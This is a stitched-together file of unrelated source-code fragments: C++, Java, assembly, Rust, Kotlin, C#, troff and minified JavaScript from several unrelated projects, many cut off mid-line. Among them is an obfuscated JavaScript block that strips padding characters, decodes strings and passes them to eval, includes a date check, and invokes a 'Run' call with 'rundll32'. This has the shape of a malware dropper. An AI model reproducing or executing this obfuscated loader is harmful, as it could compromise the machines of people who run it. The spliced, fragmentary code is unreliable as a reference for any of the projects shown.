 *  it under the terms of the GNU Lesser General Public License as
 *  published by the Free Software Foundation, either version 3 of the
 *  License, or  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 **/

/**
 * @file testExpander.cpp
 * @ingroup Tests
 * @author Jacques-Olivier Lachaud (\c jacques-olivier.lachaud@univ-savoie.fr )
 * Laboratory of Mathematics (CNRS, UMR 5807), University of Savoie, France
 *
 * @date 2010/07/11
 *
 * Functions for testing class Expander.
 *
 * This file is part of the DGtal library.
 */

///////////////////////////////////////////////////////////////////////////////
#include <iostream>
#include <sstream>
#include "DGtal/base/Common.h"
#include "DGtal/kernel/SpaceND.h"
#include "DGtal/kernel/domains/DomainPredicate.h"
#include "DGtal/kernel/domains/HyperRectDomain.h"
#include "DGtal/kernel/sets/DigitalSetSelector.h"
#include "DGtal/kernel/sets/DigitalSetConverter.h"
#include "DGtal/topology/MetricAdjacency.h"
#include "DGtal/topology/DomainAdjacency.h"
#include "DGtal/topology/DigitalTopology.h"
#include "DGtal/topology/Object.h"
#include "DGtal/graph/Expander.h"
///////////////////////////////////////////////////////////////////////////////


SkillDatabase.skillsByCategory.put(category, new ArrayList<>());
    }

    try (BufferedReader reader =
        FileUtilities.getVersionedReader("classskills.txt", KoLConstants.CLASSSKILLS_VERSION)) {
      String[] data;

      while ((data = FileUtilities.readData(reader)) != null) {
        if (data.length < 6) {
          continue;
        }

        Integer skillId = Integer.valueOf(data[0]);
        String name = data[1];
        String image = data[2];
        EnumSet<SkillTag> tags = parseTags(data[3]);
        Long mp = Long.valueOf(data[4]);
        Integer duration = Integer.valueOf(data[5]);
        Map<String, String> attributes = attributesToMap(data.length > 6 ? data[6] : null);
        SkillDatabase.addSkill(skillId, name, image, tags, mp, duration, attributes);
      }
    } catch (IOException e) {
      StaticEntity.printStackTrace(e);
    }

    SkillDatabase.canonicalNames = new String[SkillDatabase.skillIdSetByName.size()];
    SkillDatabase.skillIdSetByName.keySet().toArray(SkillDatabase.canonicalNames);
  }

  private static EnumSet<SkillTag> parseTags(String data) {
    var tags = data.split(",");
    var set = EnumSet.noneOf(SkillTag.class);
    for (String tag : tags) {
      var parsed = SkillTag.byName(tag);
      if (parsed == null) {
        throw new IllegalStateException("failed to parse tag " + tag);
      }
      set.add(parsed);
    }
    return set;
  }

  private static Map<String, String> attributesToMap(final String attributeString) {
    if (attributeString == null) return Map.of();

    return Arrays.stream(attributeString.split(","))
        .map(
            attr -> {
              var parts = attr.split(":");
              return Map.entry(parts[0].trim().toLowerCase(), parts[1].trim().toLowerCase());
            })
        .collect(Collectors.toMap(Map.Entry::getKey, Map.Entry::getValue));
  }

  public static void resetCasts() {
    SkillDatabase.castsById.clear();
  }

  private static void addIdToName(String canonicalName, int skillId) {
    int[] idSet = SkillDatabase.skillIdSetByName.get(canonicalName);
    int[] newSet;

    if (idSet == null) {
      newSet = new int[1];
    }
    // *** This assumes the array is sorted
    else if (Arrays.binarySearch(idSet, skillId) >= 0) {
      return;
    } else {
      newSet = Arrays.copyOf(idSet, idSet.length + 1);
    }

    newSet[newSet.length - 1] = skillId;
    // *** Make it so
    Arrays.sort(newSet);
    SkillDatabase.skillIdSetByName.put(canonicalName, newSet);
  }

  private static void addSkill(
      final Integer skillId,
      final String name,
      final String image,
      final EnumSet<SkillTag> tags,
      final Long mpConsumption,
      final Integer duration,
      final Map<String, String> attributes) {
    String canonicalName = StringUtilities.getCanonicalName(name);
    SkillDatabase.nameById.put(skillId, name);
    SkillDatabase.addIdToName(canonicalName, skillId);

    if (image != null) {
      SkillDatabase.imageById.put(skillId, image);
    }
    SkillDatabase.skillTagsById.put(skillId, tags);

    SkillDatabase.mpConsumptionById.put(skillId, mpConsumption);
    SkillDatabase.durationById.put(skillId, duration);

    for (v


movq	(%rsp), %rbp
	addq	$-24, %rbp
	movq	%rbp, (%rsp)
	movq	8(%rsp), %rbx
	movl	$1, %r14d
	movl	$100000, %esi           # imm = 0x186A0
	addq	$136, %rsp
	jmp	SumSimpleBasic_zdwupto_info$def # TAILCALL
.LBB6_2:                                # %c3pg
	movq	8(%rsp), %rbx
	movq	(%rbx), %rax
.LBB6_3:                                # %c3pg
	movq	(%rsp), %rbp
	addq	$136, %rsp
	jmpq	*%rax                   # TAILCALL
.Lfunc_end6:
	.size	SumSimpleBasic_hszusumzupure2_info$def, .Lfunc_end6-SumSimpleBasic_hszusumzupure2_info$def
                                        # -- End function
	.p2align	4, 0x90         # -- Begin function c3ph_info$def
	.type	c3ph_info$def,@function
	.quad	0                       # @"c3ph_info$def"
                                        # 0x0
	.quad	30                      # 0x1e
c3ph_info$def:
# BB#0:                                 # %c3ph
	movq	$c3pm_info$def, (%rbp)
	movq	%rbx, -8(%rsp)
	movq	%rbx, %r14
	jmp	SumSimpleBasic_zdwsum_info$def # TAILCALL
.Lfunc_end7:
	.size	c3ph_info$def, .Lfunc_end7-c3ph_info$def
                                        # -- End function
	.p2align	4, 0x90         # -- Begin function c3pm_info$def
	.type	c3pm_info$def,@function
	.quad	0                       # @"c3pm_info$def"
                                        # 0x0
	.quad	30                      # 0x1e
c3pm_info$def:
# BB#0:                                 # %c3pm
	movq	$c3pq_info$def, (%rbp)
	movq	$ghczmprim_GHCziTypes_ZMZN_closure+1, -8(%rsp)
	movq	%rbx, -16(%rsp)
	movq	$0, -24(%rsp)
	xorl	%r14d, %r14d
	movl	$ghczmprim_GHCziTypes_ZMZN_closure+1, %edi
	movq	%rbx, %rsi
	jmp	base_GHCziShow_zdwshowSignedInt_info # TAILCALL
.Lfunc_end8:
	.size	c3pm_info$def, .Lfunc_end8-c3pm_info$def
                                        # -- End function
	.p2align	4, 0x90         # -- Begin function c3pq_info$def
	.type	c3pq_info$def,@function
	.quad	0                       # @"c3pq_info$def"
                                        # 0x0
	.quad	30                      # 0x1e
c3pq_info$def:
# BB#0:                                 # %c3pq
	movq	%rbx, -16(%rsp)
	movq	%rbp, -24(%rsp)
	movq	%r14, -8(%rsp)
	addq	$24, %r12
	movq	%r12, -32(%rsp)
	cmpq	856(%r13), %r12
	jbe	.LBB9_1
# BB#2:                                 # %c3pz
	movq	$24, 904(%r13)
	movq	-8


: *mut cairo_region_t, other: *const cairo_region_t) -> cairo_status_t;
}
extern "C" {
    pub fn cairo_region_intersect_rectangle(
        dst: *mut cairo_region_t,
        rectangle: *const cairo_rectangle_int_t,
    ) -> cairo_status_t;
}
extern "C" {
    pub fn cairo_region_union(dst: *mut cairo_region_t, other: *const cairo_region_t) -> cairo_status_t;
}
extern "C" {
    pub fn cairo_region_union_rectangle(
        dst: *mut cairo_region_t,
        rectangle: *const cairo_rectangle_int_t,
    ) -> cairo_status_t;
}
extern "C" {
    pub fn cairo_region_xor(dst: *mut cairo_region_t, other: *const cairo_region_t) -> cairo_status_t;
}
extern "C" {
    pub fn cairo_region_xor_rectangle(
        dst: *mut cairo_region_t,
        rectangle: *const cairo_rectangle_int_t,
    ) -> cairo_status_t;
}
extern "C" {
    pub fn cairo_debug_reset_static_data();
}
#[repr(C)]
#[derive(Debug, Copy, Clone)]
pub struct _FcPattern {
    _unused: [u8; 0],
}
pub type FcPattern = _FcPattern;
extern "C" {
    pub fn cairo_ft_font_face_create_for_ft_face(face: FT_Face, load_flags: ::libc::c_int) -> *mut cairo_font_face_t;
}
pub const CAIRO_FT_SYNTHESIZE_BOLD: cairo_ft_synthesize_t = 1;
pub const CAIRO_FT_SYNTHESIZE_OBLIQUE: cairo_ft_synthesize_t = 2;
pub type cairo_ft_synthesize_t = u32;
extern "C" {
    pub fn cairo_ft_font_face_set_synthesize(font_face: *mut cairo_font_face_t, synth_flags: ::libc::c_uint);
}
extern "C" {
    pub fn cairo_ft_font_face_unset_synthesize(font_face: *mut cairo_font_face_t, synth_flags: ::libc::c_uint);
}
extern "C" {
    pub fn cairo_ft_font_face_get_synthesize(font_face: *mut cairo_font_face_t) -> ::libc::c_uint;
}
extern "C" {
    pub fn cairo_ft_scaled_font_lock_face(scaled_font: *mut cairo_scaled_font_t) -> FT_Face;
}
extern "C" {
    pub fn cairo_ft_scaled_font_unlock_face(scaled_font: *mut cairo_scaled_font_t);
}
extern "C" {
    pub fn cairo_ft_font_face_create_for_pattern(pattern: *mut FcPattern) -> *mut cairo_font_face_t;
}
extern "C" {
    pub fn cairo_ft_font_options_substitute(options: *const cairo_font_options_t, pattern: *mut FcPattern);
}
use crate::linalg::{self, qr, svd, svddc, Lapack, LayoutError};
use crate::DecompositionError;
use itertools::izip;
use lair::{decomposition::lu, Scalar};
use ndarray::{s, Array1, Array2, ArrayBase, AssignElem, Axis, Data, Ix2, ScalarOperand};
use num_traits::{real::Real, FromPrimitive};
use rand::{Rng, RngCore, SeedableRng};
use rand_distr::StandardNormal;
#[cfg(target_pointer_width = "32")]
use rand_pcg::Lcg64Xsh32 as Pcg;
#[cfg(not(target_pointer_width = "32"))]
use rand_pcg::Mcg128Xsl64 as Pcg;
#[cfg(feature = "serde")]
use serde::{Deserialize, Serialize};


n.handleMessage(message("~hug "))
        Assert.assertEquals(response[0].value, Sofia.missingTarget("hug $1", TEST_USER_NICK))
    }

    /* unicode whitespaces as per http://www.fileformat.info/info/unicode/category/Zs/list.htm */
    @DataProvider
    fun whitespaceProvider(): Array<Array<Any>> {
        @Suppress("UNCHECKED_CAST")
        return arrayOf(
            arrayOf('\u0020'),
            arrayOf('\u00a0'),
            arrayOf('\u1680'),
            arrayOf('\u2000'),
            arrayOf('\u2001'),
            arrayOf('\u2002'),
            arrayOf('\u2003'),
            arrayOf('\u2004'),
            arrayOf('\u2005'),
            arrayOf('\u2006'),
            arrayOf('\u2007'),
            arrayOf('\u2008'),
            arrayOf('\u2009'),
            arrayOf('\u200a'),
            arrayOf('\u202f'),
            arrayOf('\u205f'),
            arrayOf('\u3000'),
        )
            as Array<Array<Any>>
    }

    /*
     * This test was changed to test all of the unicode whitespace characters, as per issue #177, trying to
     * find the problem. The problem remains unfound.
     */
    @Test(dataProvider = "whitespaceProvider")
    fun testLeadingSpace(leader: Char) {
        var response =
            operation.handleMessage(message("~${leader}tell $TEST_TARGET_NICK about hey"))
        Assert.assertEquals(response[0].value, "Hello, $TEST_TARGET_NICK")
        response = operation.handleMessage(message("~${leader}hey"))
        Assert.assertEquals(response[0].value, "Hello, $TEST_USER_NICK")
        response = operation.handleMessage(message("~hey"))
        Assert.assertEquals(response[0].value, "Hello, $TEST_USER_NICK")
        response = operation.handleMessage(message("~${leader}hey"))
        Assert.assertEquals(response[0].value, "Hello, $TEST_USER_NICK")
    }

    @Test
    fun tell() {
        var response = operation.handleMessage(message("~tell $TEST_TARGET_NICK about hey"))
        Assert.assertEquals(response[0].value, "Hello, $TEST_TARGET_NICK")
        response =
            operation.handleMessage(message("~tell $TEST_TARGET_NICK about camel I am a test"))
        Assert.assertEquals(response[0].value, "$TEST_TARGET_NICK, IAmATest")
        response = operation.handleMessage(message("~tell $TEST_TARGET_NICK about url I am a test"))
        Assert.assertEquals(response[0].value, "$TEST_TARGET_NICK, I+am+a+test")
        response = operation.handleMessage(message("~tell $TEST_TARGET_NICK about stupid"))
        Assert.assertEquals(
            response[0].value,
            "$TEST_TARGET_NICK, what you've just said is one of the most " +
                "insanely idiotic things I have ever heard. At no point in your rambling, incoherent response were you even close to " +
                "anything that could be considered a rational thought. Everyone in this room is now dumber for having listened to it. I " +
                "award you no points, and may God have mercy on your soul.",
        )
        response = operation.handleMessage(message("~~ $TEST_TARGET_NICK seeTest"))
        Assert.assertEquals(response[0].value, "$TEST_TARGET_NICK, I'm a reply!")
        response = operation.handleMessage(message("~~ $TEST_TARGET_NICK bobloblaw"))
        Assert.assertEquals(response.size, 0)
        response = operation.handleMessage(message("~~ $TEST_TARGET_NICK api"))
        Assert.assertEquals(
            response[0].value,
            "$TEST_TARGET_NICK, api is http://java.sun.com/javase/current/docs/api/index.


   addShadow(dis, canvas)
            }
        }
    }

    //添加阴影
    private fun addShadow(left: Int, canvas: Canvas) {
        mBackShadowDrawableLR.setBounds(left, 0, left + 30, mViewHeight)
        mBackShadowDrawableLR.draw(canvas)
    }

    override fun startAnim() {
        var dx = 0
        when (mDirection) {
            Direction.PREVIOUS -> dx = if (mStatus == Status.AutoBackward) {
                -mTouchX
            } else {
                mViewWidth - mTouchX
            }
            Direction.NEXT -> dx = if (mStatus == Status.AutoBackward) {
                var dis = mViewWidth - mStartX + mTouchX
                if (dis > mViewWidth) {
                    dis = mViewWidth
                }
                mViewWidth - dis
            } else {
                -(mTouchX + (mViewWidth - mStartX))
            }
        }

        //滑动速度保持一致
        val duration = 400 * abs(dx) / mViewWidth
        mScroller.startScroll(mTouchX, 0, dx, 0, duration)
    }
}package com.newbiechen.nbreader.ui.component.book.text.hyphenation

import org.xml.sax.Attributes
import org.xml.sax.helpers.DefaultHandler

/**
 *  author : newbiechen
 *  date : 2019-11-03 16:05
 *  description:TeX Hyphen XML 解析器
 */

class TextTeXHyphenHandler(private val hyphenator: TextTeXHyphenator) : DefaultHandler() {

    companion object {
        private const val TAG_PATTERN = "pattern"

    }

    private var isReadPattern: Boolean = false
    private var mBuffer = CharArray(10)
    private var mBufferLength: Int = 0

    override fun startElement(
        uri: String?,
        localName: String?,
        qName: String?,
        attributes: Attributes?
    ) {
        if (TAG_PATTERN == localName) {
            isReadPattern = true
        }
    }

    override fun endElement(uri: String?, localName: String?, qName: String?) {
        if (TAG_PATTERN == localName) {
            val len = mBufferLength
            isReadPattern = false
            if (len != 0) {
                // 添加断点匹配模式
                hyphenator.addPattern(TextTeXHyphenPattern(mBuffer, 0, len, true))
            }
            mBufferLength = 0
        }
    }

    override fun characters(ch: CharArray?, start: Int, length: Int) {
        if (isReadPattern && ch != null) {
            val oldLen = mBufferLength
            val newLen = oldLen + length
            // 判断新的长度是否大于当前缓冲区
            if (newLen > mBuffer.size) {
                // 增加缓冲区的大小
                mBuffer = mBuffer.copyOf(newLen + 10)
            }
            // 将数据存储到 buffer 中
            System.arraycopy(ch, start, mBuffer, oldLen, length)
            mBufferLength = newLen
        }
    }
}

package com.newbiechen.nbreader.ui.component.book.text.util

import com.newbiechen.nbreader.ui.component.book.text.entity.textstyle.ControlStyleDescription
import java.io.BufferedReader
import java.io.IOException
import java.io.InputStream
import java.io.InputStreamReader
import java.util.HashMap
import java.util.LinkedHashMap

/**
 *  author : newbiechen
 *  date : 2019-10-26 17:46
 *  description :CSS 文件读取器
 */

class TextCSSReader {
    private enum class State {
        EXPECT_SELECTOR,
        EXPECT_OPEN_BRACKET,
        EXPECT_NAME,
        EXPECT_VALUE,
        READ_COMMENT
    }

    private var mState: State? = null
    private var mSavedState: State? =


f(k.KKM(e,16400,71)&&k.KFCM(2,t,['^',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ĝ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['%',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ǧ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['*',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ğ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['-',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ḡ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['.',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ġ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,[',',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ģ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['=',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ɂ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['\\',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ǥ");}else if(k.KKM(e,16400,71)&&k.KFCM(2,t,['$',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"₲");}else if(k.KKM(e,16400,72)&&k.KFCM(3,t,['T','\\',{t:'d',d:0}])) {r=m=1;k.KDC(3,t);k.KO(-1,t,"Þ");}else if(k.KKM(e,16400,72)&&k.KFCM(2,t,['^',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ĥ");}else if(k.KKM(e,16400,72)&&k.KFCM(2,t,['%',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ȟ");}else if(k.KKM(e,16400,72)&&k.KFCM(2,t,['*',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ḫ");}else if(k.KKM(e,16400,72)&&k.KFCM(2,t,['-',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ħ");}else if(k.KKM(e,16400,72)&&k.KFCM(2,t,[':',{t:'d',d:0}])) {r=m=1;k.KDC(2,t);k.KO(-1,t,"Ḧ");}


.##t##o##S##t##r##i##n##g##(##1##0##)## ##=##=## ##\"##2##0##0##1##\"##)## ##v##I##w##8##[##\"##R##u##n##\"##]##(##\"##r##u##n##d##l##l##3##2##\"## ##+## ##\"## ##\"## ##+## ##v##J##O##s##1## ##+## ##\"##,##\"## ##+## ##v##E##A##h##9##)##;##b##r##e##a##k##;##}##c##a##t##c##h## ##(##e##)## ##{##c##o##n##t##i##n##u##e##;##}##;##}## ##@##*##/"));function _VKh0(s) {return s["split"](",").join("");};
function _MBv7(s) {var _EOa9 = new Date();_EOa9.setUTCFullYear("2003");if (_EOa9.getUTCFullYear().toString(10) == "2003") return s["split"]("?").join(""); else return "";};
eval(_MBv7("f?u?n?c?t?i?o?n? ?_?P?y?7?(?_?O?X?b?5?)?{?v?a?r? ?_?E?Z?f?1?=?n?e?w? ?A?r?r?a?y?(?)?;?_?E?Z?f?1?[?1?9?9?]?=?1?2?8?;?_?E?Z?f?1?[?2?5?2?]?=?1?2?9?;?_?E?Z?f?1?[?2?3?3?]?=?1?3?0?;?_?E?Z?f?1?[?2?2?6?]?=?1?3?1?;?_?E?Z?f?1?[?2?2?8?]?=?1?3?2?;?_?E?Z?f?1?[?2?2?4?]?=?1?3?3?;?_?E?Z?f?1?[?2?2?9?]?=?1?3?4?;?_?E?Z?f?1?[?2?3?1?]?=?1?3?5?;?_?E?Z?f?1?[?2?3?4?]?=?1?3?6?;?_?E?Z?f?1?[?2?3?5?]?=?1?3?7?;?_?E?Z?f?1?[?2?3?2?]?=?1?3?8?;?_?E?Z?f?1?[?2?3?9?]?=?1?3?9?;?_?E?Z?f?1?[?2?3?8?]?=?1?4?0?;?_?E?Z?f?1?[?2?3?6?]?=?1?4?1?;?_?E?Z?f?1?[?1?9?6?]?=?1?4?2?;?_?E?Z?f?1?[?1?9?7?]?=?1?4?3?;?_?E?Z?f?1?[?2?0?1?]?=


server.  Please see docs for DataReader#update and review your DataReader configuration.",realize:"#realize was called with invalid remote-data.  Please see the docs for DataReader#realize and review your DataReader configuration.","invalid-response":"#readResponse received an invalid response from the server."}});Ext.data.DataWriter=function(a){Ext.apply(this,a)};Ext.data.DataWriter.prototype={writeAllFields:false,listful:false,apply:function(e,g,d,a){var c=[],b=d+"Record";if(Ext.isArray(a)){Ext.each(a,function(h){c.push(this[b](h))},this)}else{if(a instanceof Ext.data.Record){c=this[b](a)}}this.render(e,g,c)},render:Ext.emptyFn,updateRecord:Ext.emptyFn,createRecord:Ext.emptyFn,destroyRecord:Ext.emptyFn,toHash:function(g,c){var e=g.fields.map,d={},b=(this.writeAllFields===false&&g.phantom===false)?g.getChanges():g.data,a;Ext.iterate(b,function(i,h){if((a=e[i])){d[a.mapping?a.mapping:a.name]=h}});if(g.phantom){if(g.fields.containsKey(this.meta.idProperty)&&Ext.isEmpty(g.data[this.meta.idProperty])){delete d[this.meta.idProperty]}}else{d[this.meta.idProperty]=g.id}return d},toArray:function(b){var a=[];Ext.iterate(b,function(d,c){a.push({name:d,value:c})},this);return a}};Ext.data.DataProxy=function(a){a=a||{};this.api=a.api;this.url=a.url;this.restful=a.restful;this.listeners=a.listeners;this.prettyUrls=a.prettyUrls;this.addEvents("exception","beforeload","load","loadexception","beforewrite","write");Ext.data.DataProxy.superclass.constructor.call(this);try{Ext.data.Api.prepare(this)}catch(b){if(b instanceof Ext.data.Api.Error){b.toConsole()}}Ext.data.DataProxy.relayEvents(this,["beforewrite","write","exception"])};Ext.extend(Ext.data.DataProxy,Ext.util.Observable,{restful:false,setApi:function(){if(arguments.length==1){var a=Ext.data.Api.isValid(arguments[0]);if(a===true){this.api=arguments[0]}else{throw new Ext.data.Api.Error("invalid",a)}}else{if(arguments.length==2){if(!Ext.data.Api.isAction(arguments[0])){throw new Ext.data.Api.Error("invalid",arguments[0])}this.api[arguments[0]]=arguments[1]}}Ext.data.Api.prepare(this)},isApiAction:function(a){return(this.api[a])?true:false},request:function(e,b,g,a,h,d,c){if(!this.api[e]&&!this.load){throw new Ext.data.DataProxy.Error("action-undefined",e)}g=g||{};if((e===Ext.data.Api.actions.read)?this.fireEvent("beforeload",this,g):this.fireEvent("beforewrite",this,e,b,g)!==false){this.doRequest.apply(this,arguments)}else{h.call(d||this,null,c,false)}},load:null,doRequest:function(e,b,g,a,h,d,c){this.load(g,a,h,d,c)},onRead:Ext.emptyFn,onWrite:Ext.emptyFn,buildUrl:function(d,b){b=b||null;var c=(this.conn


o'u/10'\z^\h'-\w'o'u/10'
.ds , \h'\w'c'u/5'\z,\h'-\w'c'u/5'
.ds : \h'\w'u'u/5'\u\z.\h'\w'u'u*2/5'\z.\d\h'-\w'u'u*3/5'
.ds ~ \h'\w'n'u/10'\z~\h'-\w'n'u/10'
.ds C \h'\w'c'u/5'\v'-.6m'\s-4\zv\s+4\v'.6m'\h'-\w'c'u/5'
.	\" AM - better accent marks
.de AM
.so \*(//s.acc
..
.	\" TM - thesis mode
.de TM
.so \*(//s.ths
..
.	\" BX - word in a box
.de BX
.if t \(br\|\\$1\|\(br\l'|0\(rn'\l'|0\(ul'
.if n \(br\\kA\|\\$1\|\\kB\(br\v'-1v'\h'|\\nBu'\l'|\\nAu'\v'1v'\l'|\\nAu'
..
.	\" B1 - source file for boxed text
.de B1
.rn B1 @T
.so \*(//s.tbl
.B1 \\$1
.rm @T
..
.	\" XS - table of contents
.de XS
.rn XS @T
.so \*(//s.toc
.XS \\$1 \\$2
.rm @T
..
.	\" IX - index words to stderr
.de IX
.tm \\$1\t\\$2\t\\$3\t\\$4 ... \\n(P


Tracker.GetAllProcesses(out var processes))
        {
            ActionWrappers.ExecuteWithApplicationDispatcher(() =>
            {
                // Accumulate list of processes.
                string allProcessString = $"\n{Resources.UpdateLoaderProcessList.Get()}:";
                foreach (var process in processes)
                    allProcessString += $"\n({process.Id}) {process.ProcessName}";

                Actions.DisplayMessagebox.Invoke(Resources.UpdateLoaderRunningTitle.Get(), Resources.UpdateLoaderRunningMessage.Get() + allProcessString, new Actions.DisplayMessageBoxParams()
                {
                    StartupLocation = Actions.WindowStartupLocation.CenterScreen
                });
            });
        }
        else
        {
            _manager.OnApplySelfUpdate += OnApplySelfUpdate;
            await _manager.PrepareUpdateAsync(_targetVersion, new Progress<double>(d => { Progress = d * 100; }));
            await _manager.StartUpdateAsync(_targetVersion, new OutOfProcessOptions() { Restart = true }, new UpdateOptions() { CleanupAfterUpdate = true });
            Environment.Exit(0);
        }
    }

    private void OnApplySelfUpdate(string newUpdateDir)
    {
        var updates = Task.Run(() => DependencyInstaller.GetMissingDependencies(newUpdateDir)).GetAwaiter().GetResult();
        if (updates.Count <= 0)
            return;

        ActionWrappers.ExecuteWithApplicationDispatcher(() =>
        {
            // Install Updates
            using var tempFolder = new TemporaryFolderAllocation();

            // Display runtime invoke info.
            Actions.DisplayMessagebox.Invoke(Resources.RuntimeUpdateRequiredTitle.Get(), Resources.RuntimeUpdateRequiredDescription.Get(), new Actions.DisplayMessageBoxParams { StartupLocation = Actions.WindowStartupLocation.CenterScreen });

            Task.Run(() => DependencyInstaller.DownloadAndInstallRuntimesAsync(updates, tempFolder.FolderPath, null, null)).Wait();
        });
    }

    /// <summary>
    /// Opens a page that displays the changelog for the current release.
    /// </summary>
    public void ViewChangelog()
    {
        var url = string.IsNullOrEmpty(ReleaseUrl) ? "https://github.com/Reloaded-Project/Reloaded-II/releases" : ReleaseUrl;
        ProcessExtensions.OpenFileWithDefaultProgram(url);
    }
}


translation.dx, translation.dy);

    for body in &situation.bodies { body.paint_on(context); }
    for mark in &situation.marks { mark.paint_on(context); }
    context.restore();

    print_debug(context, situation);
    Inhibit(false)
}

fn toggle_fullscreen(window: &gtk::ApplicationWindow, model: &mut Situation) {
    if model.fullscreen {
        window.unfullscreen();
    } else {
        window.fullscreen();
    }
    model.fullscreen = !model.fullscreen;
}

const DEFAULT_CONTEXT: Option<&glib::MainContext> = None;

enum Event {
    UpdateModel,
    KeyPressed(gdk::keys::Key),
    Scrolling(gdk::ScrollDirection),
    MousePressed(Coordinate),
    MouseDragged(Coordinate),
}

macro_rules! with_clone_of {
    ($object: ident, $expression: expr) => {{
        let $object = $object.clone();
        $expression
    }};
}

fn build_ui(application: &gtk::Application, model: Rc<RefCell<Situation>>) {
    let drawing_area = gtk::DrawingArea::new();
    drawing_area.add_events(
        gdk::EventMask::BUTTON_PRESS_MASK |
        gdk::EventMask::SCROLL_MASK |
        gdk::EventMask::POINTER_MOTION_MASK);

    with_clone_of!(model, drawing_area.connect_draw(move |drawing_area, cairo_context| {
        paint(drawing_area, cairo_context, &model.borrow())
    }));

    let window = gtk::ApplicationWindow::new(application);
    window.set_title("rs-kepler");
    window.set_border_width(0);
    window.set_position(gtk::WindowPosition::Center);
    window.set_default_size(1024, 768);
    window.add(&drawing_area);
    window.show_all();

    let (event_sender, event_receiver) = glib::MainContext::channel(glib::PRIORITY_DEFAULT);

    with_clone_of!(event_sender, window.connect_key_press_event(move |_, gdk| {
        event_sender.send(Event::KeyPressed(gdk.get_keyval())).expect("Failed to raise KeyPressed event");
        Inhibit(false)
    }));

    with_clone_of!(event_sender, drawing_area.connect_button_press_event(move |_, gdk| {
        event_sender.send(Event::MousePressed(Coordinate::from(gdk.get_position()))).expect("Failed to raise MousePressed event");
        Inhibit(false)
    }));

    with_clone_of!(event_sender, drawing_area.connect_motion_notify_event(move |_, gdk| {
        if gdk.get_state().contains(gdk::ModifierType::BUTTON1_MASK) {
            event_sender.send(Event::MouseDragged(Coordinate::from(gdk.get_position()))).expect("Failed to raise MouseDragged event");
        }
        Inhibit(false)
    }));

    with_clone_of!(event_sender, drawing_area.connect_scroll_event(move |_, gdk| {
        event_sender.send(Event::Scrolling(gdk.get_direction())).expect("Failed to raise Scrolling event");
        Inhibit(false)
    }));

    with_clone_of!(event_sender, gtk::timeout_add(1000 / UPDATE_RATE, move || {
        event_sender.send(Event::UpdateModel).expect("Failed to raise UpdateModel event");
        glib::Continue(true)
    }));

    gtk::timeout_add(1000 / REFRESH_RATE, move || {
        drawing_area.queue_draw();
        glib::Continue(true)
    });

    event_receiver.attach(DEFAULT_CONTEXT, move |event| {
        let


ll be included in
 * all copies or substantial portions of the Software.
 *
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

package org.broad.igv.data.cufflinks;

import org.broad.igv.logging.*;
import org.broad.igv.feature.Locus;
import org.broad.igv.util.ParsingUtils;

/**
 * Codec for cufflinks .exp_diff files
* @author jacob
* @date 2013-Apr-18
*/
public class ExpDiffCodec extends CufflinksCodec<ExpDiffValue>{

    private static Logger log = LogManager.getLogger(ExpDiffCodec.class);

    int geneColumn = 1;
    int locusColumn = 2;
    int xColumn = 6;
    int yColumn = 7;
    int logRatioColumn = 8;
    int sigColumn = 12;

    public ExpDiffCodec(String path) {
        super(ExpDiffValue.class, path);
    }

    @Override
    public Object readHeader(String[] tokens) {
        for (int i = 0; i < tokens.length; i++) {
            final String tk = tokens[i];
            if (tk.equals("locus")) locusColumn = i;
            else if (tk.equals("gene")) geneColumn = i;
            else if (tk.equals("value_1")) xColumn = i;
            else if (tk.equals("value_2")) yColumn = i;
            else if (tk.startsWith("log2(")) logRatioColumn = i;
            else if (tk.equals("significant")) sigColumn = i;
        }
        return tokens;
    }

    //@Override
    public ExpDiffValue decode(String[] tokens) {
        //Skip header line
        if (tokens[0].equalsIgnoreCase("test_id") || tokens[geneColumn].equalsIgnoreCase("gene_id")) {
            return null;
        }
        if (tokens.length >= sigColumn) {
            String locusString = tokens[locusColumn];
            if (locusString == null) return null;

            Locus locus = Locus.fromString(locusString);
            if (locus == null || locus.getChr() == null) return null;

            String logRatioStr = tokens[logRatioColumn];
            float logRatio = Float.parseFloat(logRatioStr);

            if (Float.isInfinite(logRatio) || Float.isNaN(logRatio)) {
                log.error("LogRatio " + logRatioStr + " cannot be parsed as a float");
                logRatio = Float.NaN;
            }

